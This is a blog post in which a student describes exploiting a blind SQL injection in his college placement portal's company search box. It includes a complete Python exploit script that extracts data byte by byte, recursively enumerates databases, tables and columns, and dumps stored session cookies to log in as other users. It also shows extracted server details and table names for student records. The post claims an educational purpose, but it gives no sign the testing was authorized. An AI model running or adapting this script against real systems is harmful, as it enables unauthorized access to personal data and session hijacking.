8 min read4 days ago
–
Hello and welcome back to my new blog post! I am Adithya M S a Masters student, cyber and web security enthusiast focused on uncovering hidden endpoints, probing data breaches, and exploring attack vectors in web servers and clients. I study emerging threats and contribute to infosec — always learning, always breaking things!
Its been quite a bit long since I have written to Medium as I was bogged down by my busy schedule of HWs and Midterm exams
For this article I shall assume you already have some experience with SQL injections. If you want to get started with SQL and Blind SQL Injections and , here is a reference to PortSwigger’s website where you can get an introduction to various types of web vulnerabilities
Today, we shall explore how I was able to ex…
8 min read4 days ago
–
Hello and welcome back to my new blog post! I am Adithya M S a Masters student, cyber and web security enthusiast focused on uncovering hidden endpoints, probing data breaches, and exploring attack vectors in web servers and clients. I study emerging threats and contribute to infosec — always learning, always breaking things!
Its been quite a bit long since I have written to Medium as I was bogged down by my busy schedule of HWs and Midterm exams
For this article I shall assume you already have some experience with SQL injections. If you want to get started with SQL and Blind SQL Injections and , here is a reference to PortSwigger’s website where you can get an introduction to various types of web vulnerabilities
Today, we shall explore how I was able to exploit an SQL injection bug in the search field of my college placement portal and exfiltrate every piece of information about the database byte by byte 👾 !! It’s of course a subtle but dangerous technique 💥 ! (I actually did this few months back but did’nt find time then)
Disclaimer: The content provided in this article is for educational and informational purposes only. Always ensure you have proper authorization before conducting security assessments. Although all efforts have been made to hide the identity of the target, misuse of any such information is illegal and neither the author nor the publisher is responsible for any consequences due to misuse.
I try to publish articles here regularly on Medium, so if you would like to read some of my other Medium blogs, here is a link to my Medium profile
So, without further ado, let’s get started
Let’s say the name of the placements website is https://placements.xyz.ac.in (placements.xyz is to redact the original name of the website to prevent any legal issues)
This is the dashboard of the placement portal (located at /abcde2425/student relative to the base website), again abcde2425 is a redacted name
Press enter or click to view image in full size
Placement portal dashboard page Now, from here you can see a tab called Openings, I just clicked there and came to the below page (the URL was at the endpoint /student/openings/both/0/1 relative to the base URL of the website)
Press enter or click to view image in full size
Placement portal job openings page Now, I tried searching for a company here by using the searchbox
Press enter or click to view image in full size
Benign search for a company on the portal with key ‘flip’ Press enter or click to view image in full size
Benign search for a company on the portal with key ‘kart’ Now, this search feature appears to fetch those companies which have the search key that I typed as a substring. Maybe the web server sends and SQL query to the SQL database with the LIKE operator to fetch matching records
What if I try to inject some boolean conditions in the query like ‘1’ LIKE ’1%’ or ‘1’ LIKE ’2%’ ?
That’s what I tried next
Press enter or click to view image in full size
SQL injection with ‘1’ LIKE ’1%’ boolean condition So, injecting an AND ‘1’=’1’ gives me the same one record I got previously. Try ‘1’=’2’ and…
Press enter or click to view image in full size
SQL Injection with ‘1’ LIKE ’2%’ boolean condition Now again try with OR ‘1’ LIKE ‘1%’ and we get…
Press enter or click to view image in full size
SQL injection with ‘1’ LIKE ‘1%’ boolean condition
NOTE : I have actually skipped the closing the % symbol and the closing quote as the server adds them to the end of our search key value to construct the query
The server constructs queries of the form
SELECT * FROM placement_table WHERE company_name LIKE ‘%{search_key}%’ by concatenating search key from user input
Now, we can clearly see that there is an SQL injection bug here. Based on the truth of the AND condition inserted in the payload kart’ AND ‘1’ LIKE ‘1
we either get 2 records or 0 records. By using the 2 records response as YES and the latter as a NO, we can get answers to any YES or NO questions we want from the database using the EXISTS operator which tells us whether a record exists satisfying a given query or not (Evaluates to true if a query returns a non-empty result set otherwise false)
So, to automate this process I identified the POST request that gets sent to the web server to get the search results and automated my exploit with a Python program, Here is the code
NOTE : Certain parts of the URL have been redacted as is evident here to protect the privacy of the website
import requestsimport binasciibase_url = "https://placement.xyz.ac.in"endpoint = "/abcd2425/student/openings"hex_chars = "0123456789ABCDEF".lower()url = f"{base_url}{endpoint}"cookies = {'ci_session': '1d89b84270c3da009ce15803d9a561da20c0c7a7'}def calc(res, query): YES_LENGTH = 8455 NO_LENGTH = 8145 if res.status_code == 200: content_length = len(res.text) - len(query) if content_length == YES_LENGTH: return True elif content_length == NO_LENGTH: return False else: raise Exception('The response has unexpected length.. Please check..') else: raise Exception('Something is wrong with the server OR request.. Please check..')def yn_oracle(query): payload = f"kart' AND {query} AND '1' LIKE '1" data = {'filtercompanyname': payload, 'search': ''} res = requests.post(url, data, cookies=cookies) return calc(res, query)def get_exp(exp): found_len = 0 found_chars = '' while True: should_continue = yn_oracle(f"LENGTH({exp}) > {found_len}") if not should_continue: break else: cur_char_code = 0 b = ["('8', '9', 'A', 'B', 'C', 'D', 'E', 'F')", "('4', '5', '6', '7', 'C', 'D', 'E', 'F')", "('2', '3', '6', '7', 'A', 'B', 'E', 'F')", "('1', '3', '5', '7', '9', 'B', 'D', 'F')"] for j in range(1, 3): for i in range(4): query = f"MID(HEX(MID({exp}, {found_len+1}, 1)), {j}, 1) IN {b[i]}" cur_char_code *= 2 cur_char_code += int(yn_oracle(query)) found_len += 1 found_chars += chr(cur_char_code) print(f"Hurray!! We found the required {exp} ", found_chars)def rec_enum_tables(hprefix): can_rec_search = yn_oracle(f"EXISTS(SELECT table_name FROM information_schema.tables WHERE HEX(table_name) LIKE '{hprefix}_%' AND table_schema=DATABASE())") if not can_rec_search: print(f"Table {binascii.unhexlify(hprefix).decode('utf-8')} in Database abcdapp2425") else: for c in hex_chars: yn = yn_oracle(f"EXISTS(SELECT table_name FROM information_schema.tables WHERE HEX(table_name) LIKE '{hprefix}{c}%' AND table_schema=DATABASE())") if yn: rec_enum_tables(hprefix+c)def rec_enum_dbs(hprefix): can_rec_search = yn_oracle(f"EXISTS(SELECT DISTINCT table_schema FROM information_schema.tables WHERE HEX(table_schema) LIKE '{hprefix}_%')") if not can_rec_search: print(f"Database {binascii.unhexlify(hprefix).decode('utf-8')} found in system") else: for c in hex_chars: yn = yn_oracle(f"EXISTS(SELECT DISTINCT table_schema FROM information_schema.tables WHERE HEX(table_schema) LIKE '{hprefix}{c}%')") if yn: rec_enum_dbs(hprefix+c) def rec_get_cols(tablename, hprefix): can_rec_search = yn_oracle(f"EXISTS(SELECT HEX(CONCAT(column_name, '$', data_type, '$', ordinal_position)) v FROM information_schema.columns WHERE table_name='{tablename}' AND table_schema=DATABASE() HAVING v LIKE '{hprefix}_%')") if not can_rec_search: print(f"Column {binascii.unhexlify(hprefix).decode('utf-8')} found in table {tablename} of Database abcdapp2425") else: for c in hex_chars: yn = yn_oracle(f"EXISTS(SELECT HEX(CONCAT(column_name, '$', data_type, '$', ordinal_position)) v FROM information_schema.columns WHERE table_name='{tablename}' AND table_schema=DATABASE() HAVING v LIKE '{hprefix}{c}%')") if yn: rec_get_cols(tablename, hprefix+c)def rec_steal_session(hprefix): can_rec_search = yn_oracle(f"EXISTS(SELECT HEX(CONCAT(id, '$', CAST(user_data AS char(64)))) v FROM xyz_sessions HAVING v LIKE '{hprefix}_%' AND LENGTH(user_data))") if not can_rec_search: print("Session: ", binascii.unhexlify(hprefix)) else: for c in hex_chars: yn = yn_oracle(f"EXISTS(SELECT HEX(CONCAT(id, '$', CAST(user_data AS char(64)))) v FROM xyz_sessions HAVING v LIKE '{hprefix}{c}%' AND LENGTH(user_data))") if yn: rec_steal_session(hprefix+c)
Here, we can notice that the POST request is being sent to the endpoint /abcd2425/student/openings
We convert any string field in the database to hex (using the HEX function) and then get its encoded value by performing 4 set membership checks for it to get its 4 bits in binary form. Hence, totally with 8 requests we can get the value of a byte from a database field
The MID function here is used to get a substring with a certain range of positions from the original string field
The get_yn function checks the content length of the HTTP response minus the number of characters in the search key we typed (as the same search key appears in the response as well). Clearly, this value would be different for a 2 record and a 0 record response
Note the recursive approach being taken in the function rec_enum_dbs and other such functions whose names start with rec
What we do here is to use the EXISTS function with a query involving information_schema.tables to check whether there is any record having table_schema that starts with ‘a’
After this, we search for the next character from ‘a’. We ask whether there is any database whose name starts with ‘ab’ , ‘ac’ , ‘ad’ and so on recursively … (We use hex digits and check HEX(table_name) instead of directly referring to table_name as table_name may have an underscore in it which has special meaning in the LIKE expression)
The rec_steal_sessionfunction here enumerates all the user sessions from the xyz_sessions table and we can copy paste these session cookies into our browser to login as another user if the session has not expired yet
The results of the get_exp function are as follows invoked with arguments “DATABASE()” , “USER()” and “VERSION()” respectively :
Hurray!! We found the required DATABASE() abcdapp2425Hurray!! We found the required USER() abcdapp@localhostHurray!! We found the required VERSION() 5.5.68-MariaDB
Now for enumerating the database names, and table names (some of the table names are shown abcd is a redacted name)
Table AMS_AdmissionPersonalDetails in Database abcdapp2425Table AMS_CourseDetails in Database abcdapp2425Table AMS_CourseMaster in Database abcdapp2425Table AMS_DepartmentMaster in Database abcdapp2425Table AMS_XYZDegreeMaster in Database abcdapp2425Table AMS_PreviousTermCredits in Database abcdapp2425Table AMS_ProgramMaster in Database abcdapp2425Table AMS_StudentCourseRegistration in Database abcdapp2425Table AMS_StudentMaster in Database abcdapp2425Table ams_admissionpersonaldetails in Database abcdapp2425Table ams_coursedetails in Database abcdapp2425Table ams_departmentmaster in Database abcdapp2425
Hope you found this recursive algorithm for performing enumeration of database contents with Blind SQL injection useful and interesting. (The algorithm presented here may not be perfect but still it enumerates most of the tables in the database and does a pretty good job)
That’s it for this article guys/gals. Please respond with any feedback or questions that you have related to this article, clap 👏 if you liked it and follow me for more such content.
See you in the next one, meanwhile Happy breaking 👨💻!!